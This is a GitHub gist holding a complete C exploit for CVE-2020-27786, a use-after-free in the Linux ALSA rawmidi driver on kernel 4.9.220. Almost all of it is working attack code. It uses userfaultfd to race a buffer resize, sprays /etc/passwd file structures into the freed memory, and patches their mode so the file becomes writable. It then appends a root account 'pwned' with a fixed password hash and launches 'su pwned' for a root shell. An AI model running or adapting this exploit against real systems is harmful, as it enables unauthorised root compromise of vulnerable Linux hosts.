Skip to content

Instantly share code, notes, and snippets.

@soez
Created May 24, 2023 23:33
Show Gist options
  • Save soez/14bedacaadf2f3db15226a98dcfca5bf to your computer and use it in GitHub Desktop.
Save soez/14bedacaadf2f3db15226a98dcfca5bf to your computer and use it in GitHub Desktop.
CVE-2020-27786 exploit
/*
*
* Author: @javierprtd
* Date : 21-05-2023
* Kernel: 4.9.220
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sound/asound.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#define MAX_FILES_SPRAY 256
#define ADDRESS_PAGE_FAULT 0x11000
#define PAGE_SIZE 0x1000
#define DRIVER_RAWMIDI "/dev/snd/midiC0D0"
#define SNDRV_RAWMIDI_STREAM_OUTPUT 0
#define SNDRV_RAWMIDI_IOCTL_PARAMS _IOWR('W', 0x10, struct snd_rawmidi_params)
uint32_t uffd;
uint32_t fd_spray[MAX_FILES_SPRAY];
bool release_page_fault = false;
pthread_t thread[2];
struct args_trigger {
uint32_t fd;
char *addr;
};
void hexdump(uint64_t *buf, uint64_t size) {
for (int i = 0; i < size / 8; i += 2) {
printf("0x%x ", i * 8);
printf("%016lx %016lx\n", buf[i], buf[i + 1]);
}
}
void register_userfaultfd(uint64_t *range) {
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
perror("[-] userfaultfd");
exit(0);
}
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
perror("[-] ioctl");
exit(0);
}
uffdio_register.range.start = (uint64_t) range;
uffdio_register.range.len = PAGE_SIZE;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
perror("[-] ioctl");
exit(0);
}
puts("[+] Userfaultfd registered");
}
void *handler_userfaultfd(void *args) {
uint64_t uffd = *(uint64_t *) args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
void *page = NULL;
uint64_t nread;
if ((page = mmap((void *) 0x50000, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED) {
perror("[-] mmap()");
exit(0);
}
// hexdump((uint64_t *) page, PAGE_SIZE);
/* Fields flags and mode in file_struct are at offset 64 and 68 */
uint32_t flags = 0x8002, mode = 0x480f801f;
memcpy(page, (char *) &flags, 2); // flags
memcpy(page + 4, (char *) &mode, 4); // mode
while (true) {
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1) {
perror("[-] poll");
exit(0);
}
/*
printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);
*/
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
perror("[-] EOF on userfaultfd!\n");
exit(0);
}
if (nread == -1) {
perror("[-] read");
exit(0);
}
if (msg.event != UFFD_EVENT_PAGEFAULT) {
perror("[-] Unexpected event on userfaultfd");
exit(0);
}
if (msg.arg.pagefault.address == ADDRESS_PAGE_FAULT) {
printf("[+] Page Fault triggered on address 0x%llx\n", msg.arg.pagefault.address);
while (release_page_fault == false);
uffdio_copy.src = (uint64_t) page;
uffdio_copy.dst = (uint64_t) msg.arg.pagefault.address &~(PAGE_SIZE - 1);
uffdio_copy.len = PAGE_SIZE;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
perror("[-] ioctl");
exit(0);
}
break;
}
}
close(uffd);
puts("[+] Page fault thread finished");
}
void *trigger_userfaultfd(struct args_trigger *args) {
char *addr = (char *) args->addr;
uint32_t fd = (uint64_t) args->fd;
write(fd, addr, 72);
}
void main(void) {
struct snd_rawmidi_params srp;
puts("[*] CVE-2020-27786");
puts("[+] Opening rawmidi");
uint32_t fd = open(DRIVER_RAWMIDI, O_RDWR);
if (fd < 0) {
perror("[-] open");
exit(0);
}
puts("[+] Mapping two pages");
void *page = NULL;
if ((page = mmap((void *) 0x10000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED) {
perror("[-] mmap()");
exit(0);
}
char *addr = page + PAGE_SIZE - 64;
memset(addr, 'A', 64);
puts("[+] Registering one page userfaultfd");
/* Registering mapped area */
register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT);
puts("[+] Raising up the handler for userfaultfd");
/* Handler for userfault */
pthread_create(&thread[0], NULL, handler_userfaultfd, (void *) &uffd);
puts("[+] Created one object by size 256");
/* Create one object by size 256 */
srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;
srp.buffer_size = 232;
srp.avail_min = 1;
uint64_t err = ioctl(fd, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);
if (err < 0) {
perror("[-] ioctl");
exit(0);
}
struct args_trigger args;
args.addr = addr;
args.fd = fd;
puts("[+] Triggering userfaultfd");
/* Blocking before object created by size 256 in userfault */
pthread_create(&thread[1], NULL, (void *) trigger_userfaultfd, &args);
puts("[+] Deleting before object created by size 256 generating UAF");
/* Deleting before object created by size 256 generating an UAF */
srp.buffer_size = 234;
err = ioctl(fd, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);
if (err < 0) {
perror("[-] ioctl");
exit(0);
}
puts("[+] Spraying some /etc/passwd file");
/* Spraying file structs /etc/passwd by size 256 */
for (int i = 0; i < MAX_FILES_SPRAY; i++) {
fd_spray[i] = open("/etc/passwd", O_RDONLY);
if (fd_spray[i] < 0) {
perror("[-] couldn't open /etc/passwd");
exit(0);
}
}
/* Finishing handler userfault */
release_page_fault = true;
puts("[+] Patching flags and mode...");
sleep(1);
puts("[+] Adding user pwned as root with password 'toor'");
/* Writing user pwned as root in /etc/passwd */
for (int i = 0; i < MAX_FILES_SPRAY; i++) {
lseek(fd_spray[i], 0, SEEK_END);
int n = write(fd_spray[i], "pwned:$1$pwned$H0IPi3uOaQLP6dRTZhdU0.:0:0:root:/root:/bin/bash\n", 63);
if (n > 0) {
puts("[+] User pwned as root added");
break;
}
}
for (int i = 0; i < MAX_FILES_SPRAY; i++) {
close(fd_spray[i]);
}
puts("[+] Type 'toor' and get root shell :)");
system("su pwned");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment